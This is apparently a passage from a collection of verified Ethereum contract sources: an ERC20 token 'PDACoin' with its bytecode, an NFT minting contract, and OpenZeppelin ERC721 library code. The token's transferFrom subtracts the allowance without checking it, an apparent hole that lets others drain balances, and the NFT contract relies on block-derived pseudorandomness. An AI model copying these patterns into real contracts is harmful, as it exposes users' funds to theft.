Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { // Prevent transfer to 0x0 address. require(_to != 0x0); // Check if the sender has enough require(balances[msg.sender] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); uint previousBalances = balances[msg.sender] + balances[_to]; balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[msg.sender] + balances[_to] == previousBalances); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { /// same as above require(_to != 0x0); require(balances[_from] >= _value); require(balances[_to] + _value > balances[_to]); uint previousBalances = balances[_from] + balances[_to]; balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; /// balance amount of tokens for address mapping (address => mapping (address => uint256)) allowed; } contract PDAToken is StandardToken { function () payable public { //if ether is sent to this address, send it back. //throw; require(false); } string public constant name = "PDACoin"; string public constant symbol = "PDA"; uint256 private constant _INITIAL_SUPPLY = 15*(10**26); uint8 public decimals = 18; uint256 public totalSupply; //string public version = 'H0.1'; function PDAToken( ) public { // init balances[msg.sender] = _INITIAL_SUPPLY; totalSupply = _INITIAL_SUPPLY; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b3578063095ea7b31461014157806318160ddd1461019b57806323b872dd146101c4578063313ce5671461023d57806370a082311461026c57806395d89b41146102b9578063a9059cbb14610347578063cae9ca51146103a1578063dd62ed3e1461043e575b600015156100b157600080fd5b005b34156100be57600080fd5b6100c66104aa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101065780820151818401526020810190506100eb565b50505050905090810190601f1680156101335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014c57600080fd5b610181600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104e3565b604051808215151515815260200191505060405180910390f35b34156101a657600080fd5b6101ae6105d5565b6040518082815260200191505060405180910390f35b34156101cf57600080fd5b610223600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105db565b604051808215151515815260200191505060405180910390f35b341561024857600080fd5b610250610983565b604051808260ff1660ff16815260200191505060405180910390f35b341561027757600080fd5b6102a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610996565b6040518082815260200191505060405180910390f35b34156102c457600080fd5b6102cc6109df565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030c5780820151818401526020810190506102f1565b50505050905090810190601f1680156103395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561035257600080fd5b610387600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a18565b604051808215151515815260200191505060405180910390f35b34156103ac57600080fd5b610424600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610d35565b604051808215151515815260200191505060405180910390f35b341561044957600080fd5b610494600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb3565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f504441436f696e0000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008473ffffffffffffffffffffffffffffffffffffffff161415151561060457600080fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561065257600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156106e057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561097757fe5b60019150509392505050565b600360009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f504441000000000000000000000000000000000000000000000000000000000081525081565b60008060008473ffffffffffffffffffffffffffffffffffffffff1614151515610a4157600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a8f57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610b1d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401141515610d2a57fe5b600191505092915050565b600080849050610d4585856104e3565b15610eaa578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e3f578082015181840152602081019050610e24565b50505050905090810190601f168015610e6c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610e8d57600080fd5b6102c65a03f11515610e9e57600080fd5b50505060019150610eab565b5b509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820871612bc744c589de3d92d0b9281bf9d1cb6acb34f05b14111cb4040547da5a30029
[ 14, 2 ]
0xF2710e8909feA73271082ACF932e3D4282d9647F
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract Jpc is ERC721, ERC721Enumerable, Ownable, ERC721Burnable { using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; uint256 public constant MAX_SUPPLY = 10000; uint256 public constant MAX_PER_MINT = 20; uint256 public constant JPC_PRICE = 0.04 ether; string public constant CODE_CID = 'bafkreie2cpqpwcpawdat4zx2tcknhhaifpqfnrv5ozgo4mibqwdyowuf2q'; // ipfs cid of the jpc script. Unchangeable after deploy. string public baseTokenURI; bool public _saleIsActive = false; mapping(uint256 => bytes32) public tokenIdToHash; uint256[] public models = [4, 4, 1, 2, 1, 5, 3, 1, 2, 2, 1, 4, 3, 5, 6, 1, 2, 3, 1, 3, 2]; uint256[] public compositeBoosts = [40, 10, 40, 20, 50, 30, 20, 50, 10, 30, 70, 40, 30, 80, 10, 20, 40, 20, 60, 10, 50, 30, 10, 60, 50, 70, 30, 60, 80, 40, 10, 70, 20, 10, 60, 90, 20, 40, 20, 50, 10, 20, 30, 10, 30]; constructor(string memory name, string memory symbol, string memory baseURI) ERC721(name, symbol) { setBaseURI(baseURI); } function _totalSupply() internal view returns (uint) { return _tokenIdCounter.current(); } function totalMint() public view returns (uint256) { return _totalSupply(); } function mintTeamTokens(address _to, uint256 _count) public onlyOwner { uint256 total = _totalSupply(); require(total + _count <= MAX_SUPPLY, "Not enough left"); require(total <= MAX_SUPPLY, "Sale is over"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function mint(address _to, uint256 _count) public payable { uint256 total = _totalSupply(); require(_saleIsActive, "Sale paused"); require(total + _count <= MAX_SUPPLY, "Not enough left to mint that many"); require(total <= MAX_SUPPLY, "Sale is over"); require(_count > 0, "Minimum of 1"); require(_count <= MAX_PER_MINT, "Exceeds max per address"); require(msg.value >= JPC_PRICE * _count, "Below minimum price"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function _mintAnElement(address _to) private { uint id = _totalSupply(); // the functional metadata attributes can all be derived from the pseudorandom hash created below. // Not impossible for a miner to withold a block and manipulate, but not easy to do and economics during the mint probably not good enough to attempt. bytes32 tHash = keccak256(abi.encodePacked(id, block.timestamp, blockhash(block.number - 1), _to)); tokenIdToHash[id] = tHash; _tokenIdCounter.increment(); _safeMint(_to, id); } function getModel(uint tokenId) public view returns (uint256) { uint seed = uint(tokenIdToHash[tokenId]); uint v = models[seed % models.length]; return v; } function getCompositeBoost(uint tokenId) public view returns (uint256) { uint seed = uint(tokenIdToHash[tokenId]); uint v = compositeBoosts[seed % compositeBoosts.length]; return v; } function getEntropy(uint tokenId) public view returns (uint256) { uint seed = uint(tokenIdToHash[tokenId]); uint v = seed % 10; return v; } function getPtu(uint tokenId) public view returns (uint256) { uint cBoost = getCompositeBoost(tokenId); uint m = getModel(tokenId); uint entropy = getEntropy(tokenId); uint ptu = _calcPtu(cBoost, m, entropy); return ptu; } function _calcPtu(uint compositeBoost, uint modelNumber, uint tEntropy) internal pure returns(uint256) { return (((compositeBoost + tEntropy) * modelNumber) * 10); } function getJpcSpecs(uint tokenId) public view returns (bytes32, uint256, uint256, uint256, uint256) { uint m = getModel(tokenId); uint cBoost = getCompositeBoost(tokenId); uint entropy = getEntropy(tokenId); uint ptu = _calcPtu(cBoost, m, entropy); return (tokenIdToHash[tokenId], m, cBoost, entropy, ptu); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function walletOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function saleIsActive(bool val) public onlyOwner { _saleIsActive = val; } function widthdraw() public onlyOwner { uint256 balance = address(this).balance; address payable _to = payable(msg.sender); (bool success, ) = _to.call{value: balance}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function 